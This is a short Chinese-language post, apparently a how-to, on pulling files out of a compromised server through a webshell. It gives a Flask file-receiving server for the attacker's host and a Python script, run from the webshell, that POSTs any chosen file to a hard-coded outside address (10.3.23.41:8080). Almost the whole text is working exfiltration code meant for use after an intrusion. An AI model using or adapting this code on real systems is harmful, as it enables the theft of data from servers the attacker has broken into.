webshell文件下载器

拥有webshell的服务器可以ping通主机A，这就表明webshell可以向主机A post一些数据。
在主机A上开启一个接受文件的http服务，在webshell中使用文件上传命令进行上传。

主机A：

import flask
from flask import request

app = flask.Flask(__name__)


@app.route("/", methods=["GET", "POST"])
def upload():
    if request.method == 'GET':
        return "I am ok,please post file"
    elif request.method == "POST":
        file = request.files['file']
        file.save(file.filename)
        return "upload successful"
    else:
        return "Plese use get or post method"


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8080)

webshell

import requests
import sys

f = sys.argv[1]
targetName = sys.argv[2]
resp = requests.post("http://10.3.23.41:8080", files={
    "file": (targetName, open(f))
})
print(resp.content)